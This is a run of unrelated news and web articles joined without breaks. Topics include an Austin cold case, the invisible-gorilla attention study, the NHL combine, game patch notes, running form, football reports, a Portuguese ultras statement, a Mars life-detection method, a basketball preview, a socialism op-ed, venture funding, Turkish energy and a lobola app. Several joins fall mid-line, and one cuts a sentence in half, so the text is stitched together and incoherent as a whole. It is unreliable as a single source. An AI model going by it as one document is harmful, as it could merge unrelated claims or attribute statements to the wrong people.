The two-alarm shop fire made it very difficult for investigators to find substantial physical evidence to connect to any of the four suspects. Prosecutor Robert Smith told the jury that the “crime scene was a total mess… standing in water by the time the police arrived.”
Cold Case
The Austin Chronicle reported in 2011 that attorneys for two of the four suspects along with retired Sergeant John Jones (one of the original Austin Police Department investigators) referred to the investigation that led to the arrests as being “hopelessly flawed.” They agreed the crime could still be solved even though it would be very difficult due to the amount of time that has passed since the tragic incident.
They agreed that it would essentially require the commitment to essentially start from scratch – reexamining the evidence in crime scene photos, the evidence that was never tested for DNA and the “roughly 130,000 pages of investigative documents.”
Criminal attorney Amber Farrelly, who worked with Scott’s and Springsteen’s defense teams as a law school student, stated the need to start at the very beginning with the original materials to solve the case. By doing so, she explained that a person could do their own work with the “original equation” to reach their own conclusion and identify the errors that were made. She stated that, “If someone were to come in with an open mind with no ties to the previous cold case… and to look at the original investigation…I think they would come up with a different theory and…would be on the right path.”
Austin Police Department Detective Jay Swann told the New York Post that he still believes Scott and Springsteen were involved and that both men provided details about the crime that were not made available to the public. Swann also stated that the APD spent an “incalculable” amount of time on the case over the years but confirmed that the cold case is still “at the forefront” of their cases.
Anyone with any information is asked to contact the Austin Police Department.Eleven years ago, a gorilla demonstrated that we can miss incredibly obvious things right in front of us if our attention is focused elsewhere. This experiment became world-famous - but people still aren't any better at expecting the unexpected.
Before we get to the new experiment, let's go back to the original. Watch the video and follow the instructions (you don't need to have the sound on):
It's quite likely that a lot of you were already aware of what's really going on in that video. The study, undertaken in 1999 by psychologists Daniel Simons and Christopher Chabris, tested the concept of "inattentional blindness", where people miss objects in plain sight because they have been told to pay attention to something else. It might seem difficult to believe, but a full 50% of the original study's participants didn't notice the gorilla at all, and the two psychologists concluded that attention plays a much bigger role in perception than had previously been thought.
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Now, more than a decade later, Simons has returned with a sequel to his original experiment. Once again, play the video and follow the instructions, although obviously be on the lookout for any tricks he might have up his sleeve:
How did you do this time? I managed to notice the disappearing player but totally missed the curtain changing color. That apparently places me in fairly elite company - in this experiment, only 17% of people who were familiar with the original video were able to notice one or both of the unexpected events. On the other hand, 29% of those who hadn't heard of the first experiment managed to notice one of the other events. Simons says that's not a statistically significant difference, so although one can't say that people who are expecting the unexpected are worse at noticing the utterly unexpected, it's definitely true that prior awareness doesn't make them any better.
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Simons explains the two possible outcomes of the experiment:
"You can make two competing predictions. Knowing about the invisible gorilla might increase your chances of noticing other unexpected events because you know that the task tests whether people spot unexpected events. You might look for other events because you know that the experimenter is up to something. [Alternatively,] knowing about the gorilla might lead viewers to look for gorillas exclusively, and when they find one, they might fail to notice anything else out of the ordinary."
It definitely appears that the second prediction was the correct one. But why? Simons suggests:
"The main finding is that knowing that unexpected events might occur doesn't prevent you from missing unexpected events. People who are familiar with the purpose and conclusions of the original study – that people can miss obvious events when focused on something else – still miss other obvious events in exactly that same context. Even when they know that the experimenter is going to fool them, they can miss something that's obvious, something that they could spot perfectly well if they knew it was there."
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Although this has a lot of fascinating things to say about human perception and the way we interact with our mind, let's remember what's really exciting about this experiment. I seriously cannot wait to see what kind of crazy shit he puts in his next gorilla video in 2021. It's my most anticipated sequel this side of Batman 3.
[i-Perception]
Click to viewThe 2016 NHL Scouting Combine will give 114 players eligible for the 2016 NHL Draft an opportunity to showcase themselves for all 30 NHL teams beginning Monday in Buffalo.
The combine will be held May 30-June 4 at First Niagara Center and HarborCenter.
The 2016 draft will be held at First Niagara Center on June 24 and 25.
Among the top prospects that will be at the combine are Zurich center Auston Matthews and Tappara right wing Patrik Laine, the top two skaters on NHL Central Scouting's ranking of international skaters eligible for the draft.
Matthews, a 6-foot-1, 210-pound native of Scottsdale, Ariz., had 24 goals and 46 points in 36 games in National League A, Switzerland's top professional league. He was second in voting for league MVP and won the league's Rising Star award. He also will play for Team North America in the 2016 World Cup of Hockey in September.
Laine (6-4, 206) helped Finland win the silver medal at the 2016 IIHF World Championship. He had team-highs of seven goals and 12 points and was named the tournament's most valuable player. He also helped Tappara win the championship in Liiga, Finland's top professional league, and won the Jari Kurri Trophy as playoff MVP. He will play for Team Finland at the World Cup.
Also attending the combine are the top three on Central Scouting's ranking of the top North American skaters: left wing Pierre-Luc Dubois of Cape Breton of the Quebec Major Junior Hockey League, left wing Matthew Tkachuk of London of the Ontario Hockey League and left wing Alexander Nylander of Mississauga (OHL).
Nine goalies were invited to the combine, including Central Scouting's No. 1-rated North American goalie, Evan Fitzpatrick (6-3, 206) of Sherbrooke (QMJHL), and the No. 1 goaltender on Central Scouting's international ranking, Filip Gustavsson (6-1, 184) of Lulea in Sweden's junior league.
The combine will feature 12 fitness tests. Among them are grip strength, standing long jump, bench press and pull-ups. There's also a Functional Movement Screen, which requires players to perform seven specific joint tests that could reveal imbalances and symmetry deficiencies in movements of the body. And there are bike tests, the VO2 max test to measure a player's endurance and the Wingate Cycle Ergometer that measures a player's explosiveness.
"I'm looking forward to the NHL Scouting Combine," defenseman Jakob Chychrun of Sarnia of the OHL said. "You always want to perform well at the combine because it's a big step in the whole process. I'll talk to my agent try and be as prepared as possible for everything that's going to hit me."
Chychrun, the son of former NHL player Jeff Chychrun, is No. 4 on NHL Central Scouting's final ranking of North American skaters.
Teams will have the opportunity for 20-minute, 1-on-1 interviews with the prospects May 30-June 3. The medical examinations will be held June 1.
"What the players have to keep in mind is that this will be their initial contact with many NHL teams so they have the chance to make that good initial impression," Director of NHL Central Scouting Dan Marr said. "Some kids aren't that comfortable when they're in an interview environment, so it's important they be prepared to talk about themselves, which is something they might not be used to doing. The combine gives the NHL teams a chance to get to know the player away from the rink."
The bike tests will be held on separate days. Prior to the 2015 combine, they had been done the same day.
"The strength coaches said both of those tests required the players to fatigue, to go until they can no longer go," Marr said. "To have them do those tests almost back-to-back [on the same day] really wasn't a valid indicator to where a player was at."
The fitness test results provide information on current capacities but also insight into potential future improvement in specific fitness components.
"All players must be medically cleared by the NHL Scouting Combine medical staff in order to participate in the physical testing," Marr said. "Any player that is not 100 percent able to perform an upper- or lower-body test [due to injury or medical condition] will be classed as injury or medically exempt depending on the circumstances.
"Every year there are instances where players have declined the combine invitation, been medically ruled unable to test or have declined to test. But those instances vary and are rare."
-- Mike G. Morreale, NHL.comFor this patch, were mainly focusing on bug fixes, as well as some more buffs to several champions. The reason we went for this focus was to prepare for the upcoming patch, in which were preparing some interesting solutions to damage-vs-defense, counters to tank-stacked teams, and other larger balance changes.
We added an extra maximum Yordle Snap Trap to Caitlyn, which will improve her team utility presence, along with an attack speed boost to give her a little more ability to scale into late-game damage.
Garens movement speed was increased to 320, and gave a massive early game increase to the damage reduction on Courage. This ability needs to be more reliable in the laning phase to allow Garen to close and be effective. Doubling the rank 1 value should be a big help in this regard.
Galios ultimate has had it range increased by 50, to give it some additional value in more spread out fights. We plan to continue adjusting Galio.
Finally, weve changed towers to protect better against unattended minion waves, but less against coordinated pushes. We wanted to avoid lengthening game times, but at the same time want to make it so leaving minion waves unattended isnt quite so punishing. This change aims to accomplish that.Running may be the quintessential human activity. Eons ago, our ancestors ran to stay alive, whether by escaping from predators or by chasing prey over long distances. Persistence hunting, in which man chases down beast on foot over distances as long as twenty miles until the animal is too exhausted to continue, may have been the earliest form of human hunting. Today, it is practiced by only a handful of peoples across the globe.
Most modern humans run not to eat, but to exercise. Picturesque plains and African scrub have been replaced by parkways and city sidewalks. Runners embark on their journeys armed with iPods and earbuds rather than spears. And before they jog out the door, many of them wonder, "What is the best way to run?"
There are a number of ways to explore this question, and that's a big reason why science has yet to provide a clear answer. Let's start by looking down at our feet and asking, "Is it better to run barefoot or with shoes?"
In this day and age, most skeptics might understandably ask how this is even a question. After all, shoes cushion our feet and guard against the rigors of the road, like rocks, trash, and cracks. Moreover, the barefoot notion seems to be a clear offshoot of the naturalistic fallacy, as many proponents argue that since our ancestors ran barefoot, it must be better.
In reality, the barefoot discussion is not about shoes at all, but about how we use our feet. The most prominent scientist in support of barefoot running, Harvard paleoanthropologist Dan Lieberman, contends that the barefoot style tends to make runners land more on the front or middle of the foot, rather than the heel. This, he writes on his Harvard website, is the real key.
"In heel striking, the collision of the heel with the ground generates a significant... large force. This force sends a shock wave up through the body via the skeletal system. In forefoot striking, the collision of the forefoot with the ground generates a very minimal impact force... Therefore, quite simply, a runner can avoid experiencing the large impact force by forefoot striking properly."
Lieberman is not the only scientist espousing this view. As an international team of scientists reported in a 2014 issue of the Journal of Sport and Health Science:
"From a mechanical perspective, the two most important anatomical springs in the human leg are the Achilles tendon and the plantar arch; together, these structures store and return roughly half of the potential and kinetic energy lost each step during running. These anatomical springs are most effective when runners land on the middle or front of the foot, allowing the Achilles tendon and plantar arch to stretch as the foot is loaded during early stance phase."
Lieberman hypothesizes that this more economical style of running may reduce injury rates. Scientific research addressing that notion is now starting to trickle in. One study examining injuries among cross-country runners found similar rates of traumatic injury between front- and rear foot-strikers, but significantly higher rates of repetitive stress injury among rear strikers. Another focusing only on shod versus barefoot runners found no difference in injury rates.
With a paucity of studies performed thus far, the jury is still out on Lieberman's hypothesis. It may be that the barefoot style will only shift the location of running injuries, rather than reduce the incidence. Forefoot and mid-foot striking puts more pressure on the ankle, while rear-foot running puts more pressure on the knees and upper leg muscles.
Most casual or inexperienced runners typically strike with their heels first, as has been encouraged by shoe design over the years. But now, more and more shoes are being designed with a mid-foot strike in mind, so one doesn't need to go barefoot to try out a different style of running. Switching your running style shouldn't be done too rapidly, however. Runners accustomed to rear-striking will be adapted to running in that fashion, and switching too quickly will almost certainly result in injury. Luckily, science-based guides exist that can help runners navigate the process safely.
If you're not interested in changing your foot-strike habits, there is one simple adjustment that seems to universally benefit all long-distance runners: take more strides. A systematic review published to the journal Sports Health in 2012 found consistent evidence in the scientific literature that taking more and shorter strides alleviated pressure at the hip, knee, and ankle joints.
While most humans no longer need to literally run for their lives, running is one of the easiest forms of exercise to extend lives. On that point, science is nearly unanimous.
(Images: AP, Rothschild via S&C Journal)Wilfried Bony admitted that his first goals for Stoke City were tinged with disappointment given that they came at the expense of old club Swansea City.
The Ivory Coast striker scored in each half as Mark Hughes' side made it three Premier League wins in a row with a 3-1 victory at the bet365 Stadium on Monday.
Bony was delighted to get off the mark after six appearances without a goal, but conceded that it was a "crazy" feeling to find the net after just three minutes against his old side.
"It's very good for us because it's now three games in a row that we've won. It was a good result for the team," he told Sky Sports.
"Of course, it's crazy that my first goals of the year have come against my old team. I'm disappointed for them but that's the way football is.
"There have been a couple of games where I've missed some chances but I knew the goals would come. I didn't know when so I was still pushing myself to work very hard.
"We have a great moment now so we want to continue and take the maximum points this year."
THANKS TO GOD, FAMILY, FRIENDS, MY TEAM AND THE AMAZING STOKE FANS FOR THE SUPPORT DURING THIS DIFFICULT TIME #belief #thepotters pic.twitter.com/tc9KSZgBOH — Wilfried Bony (@wilfriedbony) October 31, 2016
Bony's efforts - which came either side of an own goal from Alfie Mawson - were both set up by Joe Allen, who has already matched his previous best tally in a Premier League season by scoring or assisting six goals in only 10 appearances.
The Wales international is delighted with how Stoke have responded to a difficult start to the campaign and is relishing playing in a more advanced role under Hughes.
"The biggest thing was the chances we created. We got three goals but hit the woodwork three times as well and you can't ask for much more than that in a Premier League game," he added.
"I don't like to make excuses but we came in for some tough games at the start. Our performances maybe weren't as bad as it was made out but we were shipping too many goals and we've managed to tighten that up.
"I've never had a run of games in that position, I'm slowly getting that hang of it. That licence to get involved further up the pitch is what I love doing and as long as I can chip in with some goals, I might be in that position to stay,
"I played as a holding midfielder for Wales for the last few years and really enjoyed that as well. I don't know myself what my best position is."190.5k SHARES PARTILHA Tweet
Já depois dos acontecimentos vergonhosos passados no topo Sul do estádio onde está situada uma das claques do Sport Lisboa e Benfica, elementos da mesma claque decidiram emitir um comunicado explicando o que se passou naquela parte do estádio.
“”Boa noite Ultras de Portugal,
O meu Grupo, os No Name Boys, aquele que jogo após jogo vai perdendo a sua verdadeira entidade, aquela que o Gullit nos deixou… Temos sido notícia pelos piores motivos, e só espero que a intenção não tenha sido exactamente essa, sermos notícia nos jornais e tv… A verdade é que a insistência nos petardos, na droga (que é visível e sentida) no Estádio, no apoio ao SL Benfica com camisolas, tarjas e bandeiras sem os símbolos do clube, e agora a pancadaria entre membros do próprio grupo em pleno Estádio da Luz, ultrapassou todos os limites.
As razões da pancadaria de hoje não estão por ”esclarecer”, são óbvias e vou passar a explicar a seguir…
Mas, numa altura em que se vê famílias, crianças, mulheres e idosos a regressarem ao Estádio da Luz para apoiar o nosso enorme SL Benfica, uma ”claque” do clube,como nós somos, jamais se pode envolver em cenas tristes entre os seus próprios membros, e ser este o factor que pode voltar a afastar os adeptos da Catedral, isto é um péssimo exemplo e o clube não pode permitir que isto volte a acontecer.
Independentemente da suposta guerra entre os que defendem a legalização (sim, o motivo de tudo isto, é este: A LEGALIZAÇÃO). Desde os que querem continuar ilegais, os supostos infiltrados que só lá estão para arranjar problemas, e os que se querem legalizar, a verdade é que o SL Benfica está acima de qualquer disputa pelo protagonismo de uma ”claque”, que não passa disso mesmo, uma simples ”claque” de futebol que por acaso apoia o maior clube de Portugal…
A disputa pelo protagonismo, chamei eu… E muito bem (muitos dos verdadeiros NN sabem do que falo, mas passo a citar…) Muitos querem ganhar € à custa do nome do grupo e do SL Benfica, com a venda de todo e qualquer tipo de material pessoal (o marketing, não pode existir no grupo! É contra a política do grupo, sempre foi e sempre o será!).
E infelizmente, antecipo uma guerra interna completamente desnecessária, se os membros mais influenciáveis do grupo não fizerem nada…
Para finalizar, os NN actualmente dividem-se em 3 grupos: os “ilegais” (os que sempre lá estiveram pelo Benfica), os “legais” (apareceram há poucos meses para ganhar €), e os “anormais” (estão lá já há algum tempo, petardos, droga e confusão são o forte deles).
Eu não sou legal, ilegal nem anormal. Os verdadeiros irão entender no que sou a favor… Mas principalmente sou No Name Boy! Em prol do SL Benfica quero apenas fixar que o nosso lema ”SEMPRE PRESENTES”, irá ser respeitado ao máximo, aliás, está… Pelos verdadeiros, seja aqui na Luz ou no outro lado do mundo. E mais triste ainda, além de todos os problemas que o nosso grupo enfrenta, é saber que existem alguns que por lá andam, que não respeitam simplesmente o LEMA!
Doa a quem doer, esta é a minha modesta visão sobre o assunto, vivo os NN à 13 anos. E esta é a verdade… Um abraço aos verdadeiros No Name Boys, aos Diabos Vermelhos e ao restante Movimento Ultra, principalmente pelo país fora (aqui, deixo a rivalidade de fora).
Vamos continuar na luta pelos nossos ideais,
Rapaz sem Nome”
No Name Boys
SL Benfica – FC Arouca
23/01/16″
Existe muita gente que não sabe como nasceram os No Name Boys e para que finalidade. Momentos como o de ontem envergonham não só o seu fundador como toda a nação Benfiquista que gostam apenas do seu apoio.Aside from its simplicity, the real benefit to the method is that it can tell the difference between amino acids produced by life and those produced by other processes. That's where past missions have gone wrong. The 1976 Viking 1 mission, for example, searched Mars for byproducts of life, which ended up producing a false positive result. Even the Curiosity rover fell short in its search for life when its attempts to identify organic chemicals in Martian soil samples were foiled by reactions with other materials in the samples.
Related: Pluto's Icy Heart Could Be Hiding An Ocean
For better accuracy, this method hones in on the amino acids' "chirality." According to NASA, "Chiral molecules such as amino acids come in two forms that are mirror images of one another. Although amino acids from non-living sources contain approximately equal amounts of the 'left' and 'right'-handed forms, amino acids from living organisms on Earth are almost exclusively the 'left-handed' form." Scientists suspect that life on any planet will "choose" one form or the other for its amino acids, which is why this technique will use that as a telltale sign of life.
Is there something you're curious about? Send us a note or email us at editors (at) curiosity.com. And follow Curiosity on Facebook, Instagram and Twitter.One of the more intriguing first round matchups in this year’s tournament features two schools from the Sunshine State. The Florida State Seminoles are back in the NCAA Tournament for the first time since 2012 thanks to a high-powered offense that features one of the most dynamic scoring one-two punch in sophomore Dwayne Bacon and freshman Jonathan Isaac. On the other side of the court, FGCU features one of the best interior scoring attacks thanks to their athletic big men and their guards’ ability to penetrate. Both teams like to get up and down the court and should produce a lot of highlight plays with FSU first in the nation in dunks with 171 on the season and Dunk City sitting in third with 157. This is the second time the Seminoles and Eagles have ever met with FSU taking the first matchup in the first round of the 2014 NIT 58-53.
Make sure to continue to come back all month long to get breakdowns of all your favorite ACC schools as they progress through the NCAA Tournament. So far the ACC is 0-1 with Wake Forest falling to Kansas State in the First Four in a high-scoring affair that saw the Wildcats come out on top 95-88. You will be able to find each breakdown in order below as the tournament continues to progress.
First Four
Wake Forest vs. Kansas State
Round of 64
Virginia vs. UNC Wilmington
Notre Dame vs. Princeton
Offense
Advantage: Florida State
This matchup features two teams that mirror each other’s strengths and weaknesses on offense with both teams looking to get the ball down low for easy baskets. Florida State has the tenth best scoring offense in the NCAA Tournament this year, and a big part of that has been the Seminoles’ ability to get good looks around the rim. With an average height of 79.2 inches per player, the Seminoles have the second tallest team in the nation and use it to their advantage. On two-point shots, FSU shoots 54.1% which is good for 25th in the nation. A big part of their success down low has to do with the Seminoles’ ability to crash the offensive glass. On the season FSU is averaging 10.6 offensive rebounds per game, which puts them at 40th in the nation and 14th in the NCAA Tournament.
While FSU prefers to go down low to score they also have multiple options that can get it done from deep. Four different players have hit at least 30 threes on the season with Dwayne Bacon leading the way with 57. While Bacon has made the most threes this season, that does not make him the best three-point shooter on the team. That title belongs to sophomore P.J. Savory who has made over 40% of his threes on the season. When Savory checks in defenses need to find him and run him off of the three-point line since a whopping 88% of his shots this season have come from behind the arc.
Like the Seminoles, the Eagles like to get the ball into the paint for easy buckets. FGCU leads the nation in points in the paint, averaging 41.5 per game. However, it is the guards that get it done in the paint for the Eagles, led by UCF transfer and A-Sun Newcomer of the Year, Brandon Goodwin. Goodwin is averaging 18.2 PPG and 4 APG while leading a trio of talented guards. The other two are sophomore Zach Johnson (11.8 PPG and 3 APG) and Christian Terrell (10.3 PPG and 2.3 APG). All three are also threats from deep and have each knocked down at least 50 threes on the season.
In the front court, the emergence of Demetris Morant, who is shooting over 75% from the field and averaging 10.7 PPG this season, has given the Eagles a solid contributor at the pivot position. Joining Morant in the frontcourt is the enigma that is Marc-Eddy Norelia. Last season as a junior Norelia averaged 17.1 PPG and 9.3 RPG for the Eagles in route to being named to the A-Sun All-Conference team. However, he has missed ten games this season and has never really found his rhythm with this year’s squad. On the year Norelia is averaging 8.9 PPG and 4.8 RPG, but has shown signs of his former self recently averaging 12 PPG and 11 RPG in the Atlantic Sun Tournament.
Defense
Advantage: Florida State
Florida State does a good job on the defensive side of the ball using their length to make things difficult for their opponents. They are 8th in the tournament in blocks per game and 14th in steals per game. A large part of this is due to freshman star Jonathan Isaac, who is tied for second on the team in steals while also leading the Seminoles in blocked shots. FSU excels at defending the paint, ranking 15th in the NCAA Tournament in defensive two-point shooting percentage. A large part of that has to do with the amount of size in the Seminoles’ frontcourt with five different members of the rotation being listed at our above 6’8. The way to beat Florida State is from the perimeter where opponents shot 34.4% from the field this season.
FGCU is opposite to FSU is this respect as the Eagles excel at defending the perimeter, but struggle to guard closer to the hoop. At 31.4%, the Eagles are 25th in the nation at guarding the three-point shot, however opponents shoot 50.3% from two-point range which is 8th worst of any team that qualified for the Big Dance. While the Eagles struggle as a team to defend the paint, Morant was the Atlantic Sun Defensive Player of the Year after leading the conference with 48 blocks this season.
Coaching
Advantage: Florida State
Leonard Hamilton is one of the more experienced head coaches in the NCAA Tournament this year with this being his 29th season at the helm of a program. Over that time he has won 503 games and is making his eighth appearance in the NCAA Tournament. However, the biggest knock on Hamilton over the course of his career has been his inability to make a deep run in the NCAA Tournament. Only twice in his career has he ever gotten to the Sweet Sixteen, and he has never made it any further.
Joe Dooley is entering his fourth season as the head coach at FGCU, after taking over for Andy Enfield, and eighth overall. This season marks his second trip to the Big Dance after crushing Fairleigh Dickinson 96-65 in a play-in game last season before hanging with North Carolina for a half in the first round. Before taking over at FGCU, Dooley was Bill Self’s right-hand man for a decade at Kansas after he spent four years as the head man at ECU in the late 90s. For his career, Dooley has a record of 148-97 and has never finished below second in the A-Sun while at FGCU.
X-Factor
Advantage: Florida State
Whoever controls the paint in this one will be in a very good spot to win this one. The Eagles will try to get their bigs involved early and often, but Florida State’s size may cause trouble for them. With five guys in their rotation over 6’8 the Seminoles definitely have the advantage down low. However, if Marc-Eddy Norelia plays like himself from last season don’t be shocked to see FGCU right there with the Seminoles. If he struggles, so will the Eagles, who are 9-1 on the season when he scores at least 10 points.
Prediction
Florida State 78 FGCU 72
The Seminoles have too much size, depth, and talent for the Eagles and pull away late in this one. However, this Eagles team returns a majority of their roster and could be even more dangerous next season with multiple power five conference transfers gaining eligibility. The winner of this one will go on to face the winner of Maryland and Xavier on Saturday.Bernie Sanders campaigns in Denver, Colo., February 13, 2016. (Marc Piscotty/Getty)
Many people of mature years are amazed at how many young people have voted for Senator Bernie Sanders and are enthusiastic about the socialism he preaches.
Many of those older people have lived long enough to have seen socialism fail, time and again, in countries around the world. Venezuela, with all its rich oil resources, is currently on the verge of economic collapse, after its heady fling with socialism.
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But, most of the young have missed all that, and their dumbed-down education is far more likely to present the inspiring rhetoric of socialism than to present its dismal track record.
Socialism is in fact a wonderful vision — a world of the imagination far better than any place anywhere in the real world, at any time over the thousands of years of recorded history. Even many conservatives would probably prefer to live in such a world, if they thought it was possible.
Who would not want to live in a world where college was free, along with many other things, and where government protected us from the shocks of life and guaranteed our happiness? It would be Disneyland for adults!
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Free college of course has an appeal to the young, especially those who have never studied economics. But college cannot possibly be free. It would not be free even if there was no such thing as money.
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RELATED: Bernie’s Strange Brew of Nationalism and Socialism
Consider the costs of just one professor teaching just one course. He or she has probably spent more than 20 years being educated, from kindergarten to the Ph.D., before ending up standing in front of a class and trying to convey some of the knowledge picked up in all those years. That means being fed, clothed, and housed all those years, along with other expenses.
#share#All the people who grew the food, manufactured the clothing, and built the housing used by this one professor, for at least two decades, had to be compensated for their efforts or those efforts would not continue. And of course someone has to produce food, clothing, and shelter for all the students in this one course, as well as books, computers, and other requirements or amenities.
Add up all these costs — and multiply by a hundred or so — and you have a rough idea of what attending college costs. Whether these costs are paid by using money in a capitalist economy or by some other mechanism in a feudal economy, a socialist economy, or whatever, there are heavy costs to pay.
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RELATED: Fellow Millenials: Don’t Be Deceived by Democratic Socialism
Moreover, under any economic system, those costs are either going to be paid or there are not going to be any colleges. Money is |
in ways that the written word can sometimes fail to do."Another thing that helps for some people is that they can hear the YouTuber speaking, from a tone and personality perspective, but also from a voice perspective," Bisnap says. "It's nice to hear pretty clearly if something said is meant to be positive or negative, and a lot of people enjoy particular YouTubers' styles of delivering lines or wording thoughts, which, for most people, is compounded by hearing the voice behind it."Bisnap has a clear passion for roguelike elements, so he's far more likely to cover that kind of game. It's a point well worth noting - YouTubers regularly focus on particular genres or game styles, so if you're getting in contact with dozens at a time, you might want to consider making sure your game fits their forte.Having said that, he tells me that he's partial to covering the odd hardcore 2D platformer. Making sure you research the YouTubers you send your game to is important, but you might want to try and take a chance here and there where it makes sense."Usually if I don't cover a game it's because I don't like what I play as a whole," he adds, "or because the game is just not a genre I'm experienced or interested in, since I'm not well suited to cover a game like that."Here's what I've learnt then: Getting YouTubers to cover your game is incredibly important, and can bring serious traffic and sales. At the same time, traditional press outlets are equally important to hit up for coverage since, not only do they offer "official" press, but they also often advise YouTubers on what to cover next.So what's the best step to getting through to YouTubers? You might want to start off by hitting up all the usual press outlets and getting some coverage there, before you go and visit the Big List of YouTubers on Video Game Caster, and fire your game in the direction of as many YouTubers as possible.Connecticut had another strong year in venture capital funding in 2015, although deal volume was down from a year earlier.
Venture capitalists injected $446.7 million in Connecticut companies last year, down from $563.9 million in 2014. Even still, 2015 represented the fifth highest annual investment total in the last 21 years.
Overall, 57 Connecticut companies received funding during the year, compared to 56 in 2014, according to the latest MoneyTree report, a joint effort of PricewaterhouseCoopers and the National Venture Capital Association (NVCA), using data from Thomson Reuters.
Nationally, venture investment hit $58.8 billion in 2015, the second highest annual investment total in the last 20 years.
Eric Kogan, a partner and chair of the business transaction group at law firm Robinson + Cole, which has offices in Hartford, New London and Stamford, said many of the Connecticut deals are fueling startup ventures.
Most active venture capitalist
"Companies benefitting most from VC activity are those in technology, software and healthcare technology [industries]," said Kogan, who added that Connecticut Innovations, the state's quasi-public venture capital arm, was the most active investor during the year.
Last year's venture capital activity, Kogan said, was helped partly by changes to the state's Connecticut Insurance Reinvestment Fund, which was renamed the Invest CT Fund. It provides tax credits to insurers that invest in Connecticut businesses through approved fund managers. In 2015, state lawmakers boosted the aggregate amount of reinvestment tax credits available to $350 million from $200 million, with the majority of funding designated for companies with fewer than 250 employees and less than $10 million in revenue. According to Kogan, the extra funding was completely drawn down.
"Some VC groups that are highly active in this fund include Advantage Ironwood, Stonehendge Capital and Enhanced Capital," Kogan said. "Most participating companies are early stage, with some later stage, focused on areas like emerging innovation and green technology."
Products to market
Farmington-based Avitus Orthopaedics Inc. raised at least $350,000 in three separate venture deals last year. In 2016, the company plans to launch technology that will allow surgeons to harvest autologous bone graft (autograft) using a minimally invasive approach. Autograft is the soft bone found within the hard white outer shell of most bones, that surgeons often use in another part of the body that requires fusion or healing.
"In a medical device environment, often there are large upfront costs to get a product to market," said Maxim Budyansky, Avitus' chief technology officer and co-founder. "We needed to survive to get to that point using VC funds and grants. For early stage companies it's critical to get to the point of a viable business model."
Avitus was founded in 2011 and is "finally able to launch [its product] and see the impact we can have on patients," Budyansky said.
VC technology help
Another company launching new technology with the help of VC funding is Manchester-based Woven Orthopedic Technologies. The medical device firm will be introducing a product designed to help orthopedic screws better adhere to bones.
In 2015, the company raised $6.6 million in capital from a consortium of investors, which has been used to invest in product development and meet stringent regulatory requirements needed to bring their product to market, said Brandon Bendes, Woven's vice president of strategy and finance.
The company has raised additional funds this year.
Woven is now preparing to launch its product in Europe in late 2016, and in the U.S. in 2017. Its plastic woven tube, which sits between a screw and hole in the bone, aims to reduce the human and economic costs of complications caused by inadequate screw fixation.
Kogan said the continued VC-backed growth in Connecticut is helping the state attract more startups.
"We have the makings of a robust emerging companies investor ecosystem right here in Connecticut," he said. "Between Connecticut Innovations and other state innovation programs, it's a good place to be."
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CT's ivied walls provide tech support to manufacturersISTANBUL — Turkey is currently trying to dress the wounds of the most devastating mine accident in its history. While experts investigate the causes of the accident, coal mines and coal power plants are back at the top of the agenda. In the 1980s, Turgut Özal, who was the prime minister at the time, intended to close down coal mines, regarding them as uneconomic and unsafe. Despite his best intentions, the mines remained open due to pressure from the opposition parties. The mindset of Özal might find itself reappearing after the disaster in Soma, while the energy sector in Turkey may go in search of alternatives, including nuclear energy.
Former Expert Inspector of Nuclear Safety at International Atomic Energy Agency (UAEA) Necmi Dayday, who achieved significant successes in İstanbul Küçükçekmece Nuclear Research Center, spoke to Daily Sabah about coal mines, the future of coal power plants and the steps Turkey took in the area of nuclearenergy. Dayday explained that Turkey's coal mining industry currently holds one of the worst fatality rates in the world. "It is obvious that there is a serious safety problem. Reduction of costs $123 dollars to $24 is presented as if it was a success - Alp Gürkan, owner of the Soma Mining Inc., stated during an interview in 2013 that his company reduced the costs of coal production from $123 to $24-. This is similar to bragging about providing cheap housings by constructing decaying buildings. "When compared to reserves in Europe, the coal mined in Turkey has much lower calories and efficiency. Technologies in coal power plants are remarkably out of date. If calculated, it is absolutely not economic. " he said.
Energy has always been a controversial subject, either due to its environmental damage or its human cost, and often both. With coal considered uneconomic, Dayday suggests nuclear power might be the only way forward. "Nuclear plants generate larger amounts of energy compared to other alternatives. It is much more effective than renewable energy sources like water, sun and wind. For instance, the problem of continuity is a really serious issue in renewable energy sources. When it comes to nuclear energy, it works whenever you need it. The usage of coal power plants is gradually decreasing in the world. It can be used for some more time through improving technology; however, it will not be economic in 30 years' time," the former inspector explained. "Those are significant steps, though retarded. International agreements have been signed in Akkuyu and Sinop for nuclearpower plants. When those reactors are completed, the need for coal plants will decline. When you build a reactor, your need for petroleum, gas or coal of 1.5 million tons will vanish. With the money we pay on petroleum or gas, a reactor can be installed per year in Turkey.
You can buy fuel enough for 10 years in a nuclear plant with a years' expense of a gas plant." While nuclear energy is often a controversial topic, there is no doubt about its position in the world economy and energy sector. While the coal industry makes Turkey seem out of date, nuclear energy is still positively modern. "There are 442 reactors all around the world, 105 of which are in the east of Turkey," said Dayday. "The U.S. alone has 101 reactors. Those reactors always renew themselves and enhance capacity. France constitutes a remarkable example on that matter as the country saves 50 million tons of petroleum thanks to 58 currently-operating reactors." For those concerned of radiation, Dayday shed light on the issue of affects reactors have on human beings and environment. "Reactors do not emit radiation that will harm human health. They do not harm to environment, either. A coal power plant is 50 times more harmful than a reactor," Dayday stated. Upon being reminded about the Chernobyl disaster, Dayday likened this example to planes whose models exist only in museums. "Nobody flies with them anymore. Likewise, energy is no longer generated with Chernobyl-type reactors. These kinds of reactors have not been installed for 40 years. Referring to Chernobyl in every nuclear accidents or incidents is to turn your back on science, technology and development in the 21st century. With the exception of Japan, there have not been any accidents in nuclear plants for the last 25 years.
Fukushima went through an earthquake and tsunami. It was not a nuclearleakage or explosion. Japan experienced the third most-intense earthquake in the world and 20,000 people died as a result. None of those deaths were caused by nuclear leakage," he remarked.By Darren Smith, Weekend Contributor
If you have wondered how many cows your hand in marriage is worth, a new app may provide you with some important information–and more importantly, can you command More Cow (wedding) Bell.
Robert Matsaneng, a 26-year-old South African software developer, developed an app to measure how much Lobola the bride may expect from her potential suitor. Lobola is a custom in the Zulu, Xhosa, Ndebele and Swazi cultures where the bridegroom pays the family of the bride for her hand in marriage. Payment is made in the form of currency and live cows. The family of the bride sets the initial price.
Lobola is a significant aspect in these societies. In fact, the nephew of South Africa’s President Jacob Zuma, Khulubuse Zuma, for example, paid 100 cows to the family of the Swazi princess, Fikisiwe Dlamini.
In an interview with Deutsche Welle, Robert said that “right now it’s still for fun but if people feel that it can replace it [traditional haggling] then they can give it a crack,” the app’s maker told DW. The culture is too important to be replaced by the software, Matsaneng insisted, but perhaps it could complement it.
